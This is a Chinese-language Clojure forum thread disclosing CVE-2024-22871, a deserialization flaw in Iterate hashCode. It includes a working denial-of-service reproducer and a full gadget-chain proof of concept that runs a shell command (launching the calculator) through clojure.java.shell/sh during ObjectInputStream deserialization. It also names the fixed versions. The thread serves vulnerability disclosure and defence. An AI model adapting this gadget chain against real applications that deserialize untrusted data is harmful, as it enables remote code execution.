2024 年 Clojure 调查! 中分享您的想法。

欢迎!有关此功能的更多信息,请参阅 关于 页面。

+1
Clojure
已关闭

报告漏洞

在 org.clojure:clojure 中,存在以下漏洞
- 拒绝服务攻击 (clojure 版本 1.2.0 - 1.12.0)

dos

Command Injection

注意,此漏洞不需要任何其他组件。

详细信息
1.12.0-a5 中的 RCE CallGraph
17069252746231706925273707.png

CVE
- CVE-2024-22871

注:已在 Clojure 1.11.2 和 1.12.0-alpha9 中发布
如以下所述,DoS 攻击可能影响 1.2.0-1.12.0,且具有本地验证的命令执行可能影响 1.9.0-1.12.0
在我看来,目前存在的一些问题与以下情况类似,但却是新的绕过方式。


https://clojure.atlassian.net/browse/CLJ-2204
我不明白,如果全部都是Java,Clojure有什么关系?

更新:我是否正确理解,可以在不使用Clojure的情况下用Java实现同样的功能?
操作不当。函数调用图部分依赖于Clojure,如apply、RestFn等。版本1.9.0-1.12.0中的$fn_5920可以通过访问匿名函数类来执行命令(在Clojure版本poc中)。

1 个答案

+3
 
最佳答案

使用未信任数据的`ObjectInputStream`是固有的危险,正如该类的文档本身所说。为什么展示该类的危险被认为是在提供一些使用类的好看情况的JAR中的一个漏洞呢?

为了方便未来的读者重再现的一个简便方法。

(let [out (java.io.ByteArrayOutputStream.)
      obj-out (java.io.ObjectOutputStream. out)
      i (iterate identity nil)]
  (doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash"))
    (.setAccessible true)
    (.set i (int 1)))
  (.writeObject obj-out (java.util.HashMap. {i nil}))
  (println "Writing is done. Reading...")
  (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
        obj-in (java.io.ObjectInputStream. in)]
    (.readObject obj-in)
    (println "Will never be printed.")))
是的,ObjectInputStream确实会引入潜在的安全风险。然而,关于这个特定的漏洞,问题不在于讨论导致安全问题的潜在风险。问题在于,在1.12.0-alpha5版本中,可以构建一个特殊的序列化数据包,这加剧了这些风险的可能危害。这可以在不影响其他依赖的情况下完成,并启用命令执行(看起来process$start是一个新引入的功能)。反序列化通常取决于项目环境,但这个漏洞不需要其他依赖项,本身就是一个JAR包的问题。
我明白了。然而,这与1.12.0-alpha5无关 - 我刚添加到答案中的代码可以在1.8.0版上运行以重现该行为。经过轻微的修改,它可以在1.2.0版上运行(但不能更早,因为在此之前`clojure.lang.Cons`是不可序列化的)。
是的,这个漏洞仅影响1.12.0-alpha5版本。我还没有对以前的版本进行太多分析,我对它们有其他高风险的反序列化漏洞表示悲观。
顺便说一下,如果可能的话,希望开发人员能发布CVE,尽管我要求发布CVE,但我还没有收到回复。
你在说‘是’,但却写下与我所说的相反的内容——漏洞影响从1.2.0版本开始的Clojure的所有版本。
真的吗?大家是在提到由于反序列化而导致的命令执行漏洞吗?因为我不是特别熟悉Clojure,我只是从自己的程序分析工具中获得了这个分析结果。
而且,我最困惑的是core$partial$fn__5920类生成的原理。我用soot分析了clojure.jar。但我希望能了解Clojure中core$partial$fn__5920类的实际代码。
这个特定类是从`partial`函数的这个参数生成的:https://github.com/clojure/clojure/blob/master/src/clj/clojure/core.clj#L2638
谢谢。由于时差,可能以后很难及时回复。

编辑
另一种生成命令执行攻击的方法

```clojure
(ns poc.clojure.command
  (:import (clojure.lang PersistentQueue)
           (java.util HashMap ArrayList))
  (:require clojure.java.process))

(defn set-private-field [obj field-name value]
  (let [field (-> (.getClass obj)
                  (.getDeclaredField field-name))]
    (.setAccessible field true)
    (.set field obj value)))

(defn modify-and-process-model [iterate]
  ;; 创建 PersistentQueue
  (let [model (PersistentQueue/EMPTY)]
    ;; 使用 set-private-field 修改 model
    (set-private-field model "f" iterate)
    ;; 返回修改后的 model
    model))

(defn main []
  ;; 创建 HashMap
  (let [map (HashMap.)
        args ["open" "-a" "calculator"]
        ;; 使用 ns-resolve 获取 start 函数并使用 partial 创建部分应用函数
        fn_start (ns-resolve 'clojure.java.shell 'sh)
        partial-fn (partial apply fn_start)
        ;; 使用 clojure.core/iterate 创建 iterate 实例
        iterate-instance (iterate partial-fn args)]

    (let [model (modify-and-process-model iterate-instance)]
      (set-private-field model "_hash" (int 1))
      (.put map model nil)
      (set-private-field model "_hash" (int 0)))

    ;; 序列化 map
    (let [out (java.io.ByteArrayOutputStream.)
          obj-out (java.io.ObjectOutputStream. out)]
      (.writeObject obj-out map)
      (println "写入完成。读取...")

      ;; 反序列化
      (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
            obj-in (java.io.ObjectInputStream. in)]
        (.readObject obj-in)))
    )
  )

  ;; 调用 main 函数
(main)
```
需要注意的是,仅在设置 'fn start (ns-resolve 'clojure.java.shell 'sh)' 后,它将影响版本 1.9.0 - 1.12.0,并且可以实现命令执行。
不太清楚你的最后一条评论的意思。`clojure.java.shell`命名空间中的`sh`函数用于shell外部命令执行,因此当然可以使用它执行一些东西。命令执行机制仍然依赖于`Iterate`类实现散列的方式。
这是因为我在上一个版本中使用了process $ start,但遗憾的是,这是在1.12.0版本中引入的新功能;后来检查了项目,发现可以直接使用shell函数来直接运行命令。是的,问题仍然出现在`Iterate`类的散列计算中。
这个错误已在1.11.2和1.12.0-alpha9中的`Iterate hashCode()`中修复。
...